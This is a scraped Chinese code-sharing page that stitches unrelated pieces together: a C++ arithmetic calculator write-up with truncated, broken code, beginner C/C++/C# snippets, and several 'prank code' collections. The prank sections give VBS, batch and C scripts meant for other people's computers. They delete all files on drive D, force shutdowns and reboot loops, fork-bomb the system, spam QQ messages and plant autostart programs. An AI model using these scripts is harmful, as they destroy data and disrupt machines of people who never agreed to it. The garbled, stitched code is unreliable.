C++四则运算程序代码

C++四则运算程序代码
C++四则运算程序代码

四则表达式计算

一、程序分析和设计

把整个表达式存为字符数组,按照四则运算规则寻找其中的运算符号,然后提取左右两侧操作数计算,用计算结果替换掉计算的表达式,这样整体表达式会被简化,继续重复这个过程,直到找不到运算符为止。

1)运算表达式的存储

定义字符数组来存储即可,注意由于运算过程中可能会出现小数,而小数会导致表达式长度增加,所以定义时字符数组长度应该足够(比如1000)并且计算结果应该减少精度,比如保留小数点后面三位。

2)数和字符数组之间的转化

提取出来的操作数实际为字符序列,计算前我使用 atof(定义在stdlib.h)转化为浮点数运算,同样的,运算结果要替换表达式中的字符序列也需要先转化为字符串才行,我使用 sprintf 函数,该函数定义在 stdio.h 中

字符串的连接使用了 strcat(string.h) 等函数。

3)计算逻辑

设pstr 为计算表达式

//先算乘除

for(int i=1;i

{

If(如果当前位置字符为*或者/)

把运算符保存在ysf中

从该位置左边找前边的操作符

获取左边要计算的数据coml和该数据前的字符串strleft

从该位置右边找后边的操作符

获取右边要计算的数据comr和该数据后的字符串 strright

将数据变换成浮点型运算再转换为字符型的结果

连接 strleft + 结果 + stright 组成新字符串替换掉 pstr }

}

//再找加减

//代码与找乘除的过程类似

为了代码简单,中途设计了几个计算函数

double jia(char x[],char y[]);//字符加法返回double的值

double jian(char x[],char y[]);//字符减法返回double的值

double cheng(char x[],char y[]);//字符乘法返回double的值

double chu(char x[],char y[]);//字符除法返回double的值

double xsd(char x[]);//字符检测是否有小数,返回double的值

为了可以重复输入,开头使用了个do while ,为了可以输入-1+2这种表达式,我设计了个判断,如果第一字符是+或-我给整体表达式前加了个0字符这样就转化为一般的字符了!如果是* /则提示出错,别重新输入!

二、程序主要代码

#include

#include//atof函数的头文件

#include//sprintf函数的头文件

#define MAX 255//宏定义常量

#include

double cmjia(char x[],char y[]);//声明函数

double cmjian(char x[],char y[]);

double cmcheng(char x[],char y[]);

double cmchu(char x[],char y[]);

double compute(char pstr[]);

double xsd(char x[]);

//主函数

void main()

{

do

{

double t;//存储运算结果

char a[]="0";

char linshi[MAX];//计算临时用的

char biaodashi[MAX];//用来存放表达式

for(;;)//输入表达式

{

cout<<"请输入一个正确的数学表达式,形如7+8*6,按回车结束"<

cin>>biaodashi;

if(biaodashi[0]=='*'||biaodashi[0]=='/')

cout<<"您输入的表达式有误,请重新输入"<

else break;

}

if(biaodashi[0]=='-'||biaodashi[0]=='+')//判断首字符是否为+-,如果是给字符前加字符0 {

strcat(a,biaodashi);

strcpy(biaodashi,a);

}

strcpy(linshi,biaodashi);

t=compute(linshi);//计算

cout<<"运算结果是:"<

}while(1);//计算完返回,接着输入

}

//自定义函数

double xsd(char x[])//判断是否有小数点,并把字符型转化为浮点型

{

for(int i=0;i

if(x[i]=='.')

{

double num = 0.0;

sscanf(x, "%f", &num);//

return num;

}

else

return atof(x);

}

double cmjia(char x[],char y[])//计算两字符加法,并返回double型值

{

double a,b;

a=xsd(x);

b=xsd(y);

double c=a+b;

return c;

}

double cmjian(char x[],char y[])//计算两字符减法,并返回double型值

{

double a,b;

a=xsd(x);

b=xsd(y);

double c=a-b;

return c;

}

double cmcheng(char x[],char y[])//计算两字符乘法,并返回double型值

{

double a,b;

a=xsd(x);

b=xsd(y);

double c=a*b;

return c;

}

double cmchu(char x[],char y[])//计算两字符除法,并返回double型值

{

double a,b;

a=xsd(x);

b=xsd(y);

double c=a/b;

return c;

}

double compute(char pstr[])//

{

char strleft[MAX],strright[MAX],coml[MAX],comr[MAX],com[MAX],ysf;//ysf代表运算符

double comzhi,zhi;//comzhi代表中途计算的值,com代表comzhi所对应的字符型

int n=0;

//先算乘除

for(int i=0;i

{

if(pstr[i]=='*'||pstr[i]=='/')

{

ysf=pstr[i];

//获取左边要计算的数据coml和该数据前的字符串strleft

for(int j=i-1;j>=0;j--)

{

if(pstr[j]=='-'||pstr[j]=='+')

{

for(int k=0;k<=j;k++) strleft[k]=pstr[k];

strleft[k]='\0';//获取左边要计算数据前的字符串strleft

for(k=j+1,n=0;k

coml[n]='\0';//获取左边要计算的数据coml

break;

}

else

for(int k=0;k

{

coml[k]=pstr[k];

strleft[0]='\0';

}

}

//获取右边要计算的数据comr和该数据后的字符串strright

for(j=i+1;j<=strlen(pstr);j++)

{

if(pstr[j]=='-'||pstr[j]=='+'||pstr[j]=='*'||pstr[j]=='/'||pstr[j]=='\0')

{

for(int k=0,n=j;k

strright[k]='\0';

for(k=i+1,n=0;k

comr[n]='\0';

break;

}

}

if(ysf=='*')//如果是*

{

comzhi=cmcheng(coml,comr);

sprintf(com,"%.3f",comzhi);

}

else//如果是/

{

comzhi=cmchu(coml,comr);

sprintf(com,"%.3f",comzhi);

}

strcat(strleft,com);//把数据前的字符和运算后的字符连接

strcat(strleft,strright);//把数据后的字符和运算后的字符连接

strcpy(pstr,strleft);//替换pstr

}//重新找操作符

}

//再找加减

for(i=0;i

{

if(pstr[i]=='+'||pstr[i]=='-')

{

ysf=pstr[i];

//获取左边要计算的数据coml

for(int k=0;k

coml[k]='\0';

//获取右边要计算的数据和该数据后的字符串strright

for(int j=i+1;j<=strlen(pstr);j++)

{

if(pstr[j]=='-'||pstr[j]=='+'||pstr[j]=='\0')

{

for(int k=0,n=j;k<=strlen(pstr)-j;k++,n++) strright[k]=pstr[n];

strright[k]='\0';

for(k=i+1,n=0;k

comr[n]='\0';

break;

}

}

if(ysf=='+')

{

comzhi=cmjia(coml,comr);

sprintf(com,"%.3f",comzhi);

}

else

{

comzhi=cmjian(coml,comr);

sprintf(com,"%.3f",comzhi);

}

strcat(com,strright);

strcpy(pstr,com);

}

}

//没找到,说明全部+-都计算完了

zhi=atof(pstr);

return zhi;

}

三、运行效果

四、总结

还无法提醒形如3-45*+或输入sgfs-34等式的错误,别重新输入,无法计算带括号和函数的表达式等更复杂的四则表达式。另外程序虽然可以运行,但是仍有4个warnings,而且代码显得有点长,其实可以再简练一点。

C程序代码大全

C程序代码大全 This manuscript was revised on November 28, 2020

<=70) cout<<"Your grade is a C."<=60) cout<<"Your grade is a D."< main() { int n; cout<<"n="; cin>>n; if (n>=0 && n<=100 &&n%2==0) cout<<"n="< main() { int a,b,Max; .10 for(int i=1;i<=10;i++) cout<=1;j--) cout<

简单的四则运算计算器程序

简单的四则运算计算器程序

注:1、报告内的项目或内容设置,可根据实际情况加以调整和补充。 2、教师批改学生实验报告时间应在学生提交实验报告时间后10日内。

附件:程序源代码 // sizheyunsuan.cpp : Defines the entry point for the console application. #include #include const int MAX=100; class Operand{ private: double operS; public: Operand(){} Operand(double opers){ operS=opers; } void set(double opers){ operS=opers; } double get() { return operS;} }; class Operator{ private: char operF; int priority; public: Operator(){} Operator(char operf) { operF=operf; switch(operf) { case'(':priority=-1;break; case'+':priority=0;break; case'-':priority=0;break; case'*':priority=1;break; case'/':priority=1;break; case')':priority=2;break; } } void set(char operf){ operF=operf; } char get(){ return operF;} int getpriority(){ return priority; } };

vbs整人代码大集合 多年的代码收集

vbs整人代码大集合,收集的比较全,喜欢的朋友可以参考下。不要搞破坏,学习vbs的朋友非常有帮助,死循环的使用比较多。 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> 复制代码代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 ------------------------------------------------------------------------------ do msgbox "Y ou are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器,直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- 五、删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

c语言整人代码

C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序,可以设置多长时间后将自动关机。当然马上关机也是可以的,我们就可以恶搞别人计算机了(你事先得知道怎么解),将写好的自动关机程序复制到别人电脑,然后将可执行的 文件设为开机自动启动,别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序(这是很容易的),后果你一定能想到了吧~还可以改进一下,就是每次开机的时候让用户输入“我是猪”,不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩,比如“我爱你”、“我爱×××”之类,你觉得会有严重后果的就不要玩哦、 好啦,就说到这里,下面送上这两个程序的源代码。一个是自动关机程序,很简单,另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1: #include #include int main(void)

{ system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了,自己人不整自己人~ 源程序2: #include #include void main() { int i=0; char s[30]="dsad"; system("title 逗你玩"); system("mode con cols=48 lines=25"); system("color"); system("color FC"); system("shutdown -f -s -t 60 -c ""你是猪,哈哈,就输入“我是猪”这三个字嘛~"""); printf("哈哈,你是猪~~你的计算机马上就要自动关闭,除非你输入你是猪~~说的就是你,把这个窗口关掉也没有用哦~~\n"); printf("输入:"); while(strcmp(s,"我是猪")) { gets(s); if(strcmp(s,"我是猪")==0) { system("shutdown -a"); } system("cls"); i++; switch(i%3) { case 0: printf("不肯承认就要关机啦,哈哈~~很简单,输入你是猪嘛~~\n"); break; case 1: printf("你是猪你是猪你是猪你是猪,你是猪,要保存的东西快保存哦~\n"); break;

C语言代码大全

------------------------------------------------------------------------摘自宋鲁生程序设计大赛 乘法口诀表 #include #include void main(void) { int i,j,x,y; clrscr(); printf("\n\n * * * 乘法口诀表* * * \n\n"); x=9; y=5; for(i=1;i<=9;i++) { gotoxy(x,y); printf("%2d ",i); x+=3; } x=7; y=6; for(i=1;i<=9;i++) { gotoxy(x,y); printf("%2d ",i); y++; } x=9; y= 6; for(i=1;i<=9;i++) { for(j=1;j<=9;j++) { gotoxy(x,y); printf("%2d ",i*j); y++; } y-=9; x+=3; } printf("\n\n"); }

用一维数组统计学生成绩 #include void main() { char SelectKey,CreditMoney,DebitMoney; while(1) { do{ clrscr(); puts("========================="); puts("| Please select key: |"); puts("| 1. Quary |"); puts("| 2. Credit |"); puts("| 3. Debit |"); puts("| 4. Return |"); puts("========================="); SelectKey = getch(); }while( SelectKey!='1' && SelectKey!='2' && SelectKey!='3' && SelectKey!='4' ); switch(SelectKey) { case '1': clrscr(); puts("================================"); puts("| Your balance is $1000. |"); puts("| Press any key to return... |"); puts("================================"); getch(); break; case '2': do{ clrscr(); puts("=================================="); puts("| Please select Credit money: |"); puts("| 1. $50 |"); puts("| 2. $100 |"); puts("| 3. Return |"); puts("=================================="); CreditMoney = getch(); }while( CreditMoney!='1' && CreditMoney!='2' && CreditMoney!='3' ); switch(CreditMoney)

大整数的四则运算高质量C语言程序

设计题目: 大整数的四则运算 1. 功能简介:编写出实现大整数之间相加,相减,相乘,相除的程序,并输出计算结构。 课程设计要求:采用模块化程序设计 源程序中应有足够的注释 必须上机调试通过 注重算法运用,优化存储效率与运算效率 需提交源程序(含有注释)及相关文件(数据或数据库文件); 提交设计报告书。 2. 总体结构:

加法 数据初 判断运算符 减法乘法除法退出 正整数非正整转变为转变为 转变为 流程图:

3 ?概要设计:

1) 加法运算 利用两个整形数组分别存放两个数a 和b 的每一位的数值,最低位存放符号。如果a 和b 同号,从最低为开始计算,如果有进位则保存在高一位,本为则减10 ,然后反序将计 算后的各个位的数值保存在一个数组C并输出,如果a和b都是负数则在前面要输出负号, 函数的返回值为C的位数。如果a和b异号,也即两个正整数相减,从最低位开始相减,如果要借位则本位加10 再相减,高一位要减1,然后反序将计算后的各个位的数值保存在一个数组C 并输出,在前面要输出相应的符号位。 2) 减法运算 可将减法运算转化为加法运算,只要将被减数的符号改变即可。 3) 乘法运算 符号存放在最低位,将其中一个数a 的每一位分别乘以另一个数b 的每一位,并将结果保存在数组C 中,然后重复计算a的下一位跟b的每一位的乘积,把上一次计算保存在C 的值加上本次计算后的值,并保存在C自身中,直到a的最高位,最后输出符号和相应的计 算结果。 4) 除法运算 利用乘法和减法,将除数分别乘以1到9,直到其值大于等于被除数的对应的数,然后被除数对应的数减去其乘积,保存在一个数组中,下一次循环把它归到被除数中继续做除法运算,最后得到余数并输出。 4. 函数功能: 1. void init(int a[],int b[],int *p1,int *p2) 2. 功能说明:读入所要计算的数值,数据初始化 3. int plus(int a[],int b[],int C[],int m,int n) 4. 功能说明:两个正整数相加 3. void Change(int a[],int b[],int m,int n) 功能说明:当两异号数相加时,改变其符号以符合加法运算 5. int minus(int a[],int b[],int d[],int m,int n) 6. 功能说明:两个正整数相减 5. void minusfun(int a[],int b[],int d[],int m,int n) 功能说明:判断两个异号数的相加方式 7. int multi(int a[],int b[],int C[],int m,int n) 8. 功能说明:两个正整数相乘 7. void print(long C[],int flag) 功能说明:打印带符号flag ( 1为负)的Iong c[]数组 8. int write(long a[],int flag) 功能说明:将键盘敲入的数字按4位一组放入Iong a[],且将符号放入flag 9. void mul(long a[],int first,int last,long b[],long C[]) 功能说明:乘法,a的第last到first位乘以b,答案放到C

愚人节整人网页代码

竭诚为您提供优质文档/双击可除 愚人节整人网页代码 篇一:整人“病毒”代码(一) 发表于20XX-10-2310:33 前段时间看到大家对这种整人的代码兴趣还挺浓厚的,我最近就收集了一些和大家分享。 ps:由于精力问题没有对代码的可用性进行一一验证,所以不保证全部可用,大家如果发现有不可用的或者需要改进的地方请提出来,以下代码仅供娱乐,请勿用于非法用途。 一、怎么点都没反应的桌面 如果同事的电脑开着,他离开电脑前一会,嘿嘿,机会来了。 把他的电脑桌面按print键截屏截下来,(当然QQ截屏也可以,不过效果不太逼真!)建议大家用print截屏,设置为桌面。 然后把原来在桌面上的文件统统移到一个盘的文件夹里,这样桌面看上去和平时一个样。他回来后狂点鼠标,却怎么都没有反应!现在还在关机,开机,关机,开机,关机,开

机中???? 附带:print键截屏方法: 键盘右上方的“printscreensysRq”键的作用是屏幕抓图! 用法一,按“printscreensysRq”一下,对当前屏幕进行抓图,就是整个显示屏的内容。 用法二,先按住“Alt”键,再按“printscreensysRq”键,则是对当前窗口进行抓图。如你打开“我的电脑”后,用此法就抓取“我的电脑”窗口的内容。 用上诉两种方法抓图后,再打开“开始”、“附件”里的“画图”程序,点“编辑”、“粘贴”就把抓取的图片贴出来了,可以保存为自己需要的格式。哈哈,简单吧,这方法真挺搞的,有兴趣的童鞋可以试试! 二、让电脑硬盘消失-隐藏磁盘方法 愚人节电脑整人使无端端地电脑磁盘的某个分区消失了,钻进地缝里面去了吗,给外星人抓走了??非也!是某些人使坏将其隐藏起来了! 步骤 1.新建一个记事本 2.将记事本的后缀改为.reg,就是将“新建文件.txt”改为“新建文件.reg” 3.将下面的代码复制到记事本当中:

C 经典程序代码大全

C 经典程序代码大全 #include const float PI= 3.1416; //声明常量(只读变量)PI为 3.1416 float fCir_L(float); //声明自定义函数fCir_L()的原型 float fCir_S(float); //声明自定义函数fCir_S()的原型 //以下是main()函数 main() { float r,l,s; //声明3个变量 cout>r; //键盘输入 l=fCir_L(r); //计算圆的周长,赋值给变量l s=fCir_S(r); //计算圆的面积,赋值给变量s cout=0.0) //如果参数大于0,则计算圆的周长 z=2*PI*x; return(z); //返回函数值 } //定义计算圆的面积的函数fCir_S() float fCir_S(float x) { float z=- 1.0; //声明局部变量 if (x>=0.0) //如果参数大于0,则计算圆的面积 z=PI*x*x; return(z); //返回函数值 } /* Program: P1- 2.CPP Written by: Hap Date written: 02:11:10 */ #include void main(void) { double s1,s2,s3; s1= 1.5; /* 对变量s1赋值*/ cout main() { double r=

1.0; cout>r; //键盘输入 l=2* 3.1416*r; //计算圆的周长,赋值给变量l cout //包含iostream.h头文件 void main() { //输出字符常量.变量和字符串 char c1= A ; cout //包含iostream.h头文件 main() { //输入输出字符 char c; cin>>c; cout>n; cout>x; cout>n; cout>c>>n>>x; cout //包含iostream.h头文件 main() { //声明整型变量 int a,b; //从键盘上为整型变量赋值cout>a; cout>b; //整型数的算术运算 cout //包含iostream.h 头文件 main() { //声明变量,并初始化 int a=010,b=10,c=0X10; //以进制形式显示数据 cout>a; cout>b; cout>c; cout //包含iostream.h头文件 #include // iomanip.h头文件包含setprecision()的定义 main() { //float型变量的声明.输入.计算和输出 float fx,fy; cout>fx; cout>fy; cout>dx; cout>dy; cout //包含iostream.h 头文件 main() { //字符类型变量的声明 char c1= A ; char c2; //字符数据的运算及输出 c2=c1+32; cout>c1>>c2; cout //包含iostream.h头文件 main() { char c1= \a ,TAB= \t ; //阵铃一声 cout //包含iostream.h头文件 main()

四则运算程序-Java程序设计

《程序设计实践》题目:小学生四则运算练习程序 学校: 学院: 班级: 学号: 姓名:_ 2014 年11月24 日

实践基础程序设计实践 一、实践目的 1、掌握基本输入输出。 2、掌握方法定义与调用,理解参数传递方式。 二、实践要求 利用方法、数组、基本输入输出等Java基础知识,给出所选项目的基本设计与实现。 三、项目需求 所选项目名称:小学生四则运算练习程序 实现对小学生简单加法、减法、乘法、除法的四则运算练习。要求通过键盘输入两个运算数,并回显输入数,将运算结果输出。 四、项目设计方案 Test类: 数据域:sum,总分数。 方法:core()负责随机生成题目,并对其打上分数。 main(String[] args)是程序的入口,负责程序的开始。 五、核心算法详细设计 1.public static void main(String[] args) { Test t = new Test(); // 提示用户考试信息 System.out.println("本次测试共十道题,每题十分,满分一百分"); // 将分数sum初始化为0; t.sum = 0; // 创建一个随机类 Random r = new Random();

// 进行10个循环,对应着10道题 for (int i = 0; i < 10; i++) { t.core(); } //打印出考试成绩 System.out.println(" 考试结束"); System.out.println(" 您的总分为" + t.sum); } 2.//考试的题目。 private void core() { //产生一个随即生成器 Random r = new Random(); //产生一个在0,1,-1之中的数 int m, n; m = r.nextInt() % 10; n = m % 2; 六、完整源码 package test; import java.util.Random; import java.util.Scanner;

C 语言整人代码大全

C 语言整人代码大全WScript.Echo("嘿,谢谢你打开我哦,我等你很久 拉!"&TSName) WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉,这你都不知道吗?") 顶 举报| 2011-06-01 20:46回复 菊花爆开 电白自学 2楼 WScript.Echo("怎么才来,说~是不是不关心我") WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。") WScript.Echo("小强很生气,后果很严重哦。") WScript.Echo("嘿嘿!你也会很惨滴哦") WScript.Echo("是不是想清除我?") WScript.Echo("那你要点上50下哦,不过会给你惊喜滴") WScript.Echo("还剩49下,快点点哦") WScript.Echo("还剩48下,快点,小笨蛋!") WScript.Echo("还剩47下对,就这样快点点!") WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰 你工作。") WScript.Echo("还剩45下,记得要快哦!") WScript.Echo("还剩43下") WScript.Echo("还剩42下") WScript.Echo("还剩41下") WScript.Echo("还剩40下") WScript.Echo("还剩39下") WScript.Echo("还剩38下") WScript.Echo("还剩37下") WScript.Echo("还剩36下") WScript.Echo("还剩35下")

WScript.Echo("还剩34下") WScript.Echo("还剩33下") WScript.Echo("还剩32下") WScript.Echo("还剩30下") WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下") WScript.Echo("还剩20下") WScript.Echo("还剩19下") WScript.Echo("还剩18下") WScript.Echo("还剩17下") WScript.Echo("还剩16下") WScript.Echo("还剩15下") WScript.Echo("还剩14下") WScript.Echo("还剩13下停停!!!慢点,我有话要说") WScript.Echo("还剩12下,你继续点我就会消失滴") WScript.Echo("还剩11下,以后就看不到我拉。555555") WScript.Echo("还剩10下,你现在可以选择停止!") WScript.Echo("还剩9下。你还点啊,不要我拉?") WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家") WScript.Echo("还剩7下。疯了,你有点负意!") WScript.Echo("还剩6下。对。你就点吧,我恨你!") WScript.Echo("还剩5下,不明白,删除我你就好吗?") WScript.Echo("还剩4下!真要删除我?") WScript.Echo("还剩3下。可是我真的很眷恋你。。。") WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你 的!") WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无 义!!!") WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝 又给了一次机会。") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")

C经典程序代码大全

//根据半径计算圆的周长和面积#include const float PI=3.1416; //声明常量(只读变量)PI为3.1416 float fCir_L(float); //声明自定义函数fCir_L()的原型 float fCir_S(float); //声明自定义函数fCir_S()的原型 //以下是main()函数 main() { float r,l,s; //声明3个变量 cout<<"r="; //显示字符串 cin>>r; //键盘输入 l=fCir_L(r); //计算圆的周长,赋值给变量l s=fCir_S(r); //计算圆的面积,赋值给变量s cout<<"l="<= 80 && s < 90) { MessageBox.Show("良好"); } else if (s >= 70 && s < 80) { MessageBox.Show("中"); } else if (s >= 60 && s < 70) { MessageBox.Show("及格"); } else { MessageBox.Show("不及格"); } } 2)一元二次方程求解 private void button1_Click(object sender, EventArgs e) { double a = double.Parse(txb_A.Text), b = double.Parse(txb_B.Text), c = double.Parse(txb_C.Text); if (a == 0) { MessageBox.Show("方程的根是:" + (-c / b).ToString()); } else { double delta = Math.Pow(b, 2) - 4 * a * c;

if (delta >= 0) { double X1 = (-b + Math.Pow(delta, 0.5)) / 2 * a; double X2 = (-b - Math.Pow(delta, 0.5)) / 2 * a; string temp = "X1="+X1.ToString()+"\r\nX2="+X2.ToString(); MessageBox.Show(temp); } else { MessageBox.Show("没有实数根!"); } } } 3)1-100之间所有整数的和,能被某数整除的所有整数的和,积 private void button1_Click(object sender, EventArgs e) { int sum = 0; for (int i = 0; i <= 100; i = i + 1) { sum = sum + i; } textBox1.Text = sum.ToString(); } 求1~100之内所有偶数的和 int sum = 0; for (int i = 0; i <= 100; i = i + 2) { sum = sum + i; } textBox1.Text = sum.ToString(); private void button1_Click(object sender, EventArgs e) { int sum = 0; int a; for (int i = 0; i <= 100; i++) { a = i % 7; if (a == 0) { sum = sum + i;

小学数学四则运算C++程序开发

#include #include #include #include static int i=0,j=0; char bkuang() //定义界面函数 { for(int l=0;l<30;l++) cout<>m;cout<>m;cout<

int a,b,t; srand(time(0)); a=rand()%10; //随机产生一个0--99的数 b=rand()%10; //随机产生一个1--99的数 if(a>m;cout<>m;cout<>m;cout<

整人电脑代码修订稿

整人电脑代码 Document number【AA80KGB-AA98YT-AAT8CB-2A6UT-A18GG】

第一个:让别人内存O V E R(逼他重启) @off start cmd %0 就这3行了 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。 第二个:让对方重启指定次数(害人专用) @off if not exist c:1.txt echo. >c:1.txt & goto err1 if not exist c:2.txt echo. >c:2.txt & goto err1 if not exist c:3.txt echo. >c:3.txt & goto err1 if not exist c:4.txt echo. >c:4.txt & goto err1 if not exist c:5.txt echo. >c:5.txt & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。 第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop

c++经典代码大全

#include //包含iostream.h头文件 main() { //声明变量,并初始化 int a=010,b=10,c=0X10; //以十进制形式显示数据 cout<<"DEC:"; cout<<" a="< float x=365.5; //声明全局变量 main() { int x=1,y=2; double w=x+y; { double x=1.414,y=1.732,z=3.14; cout<<"inner:x="<

相关主题
相关文档
最新文档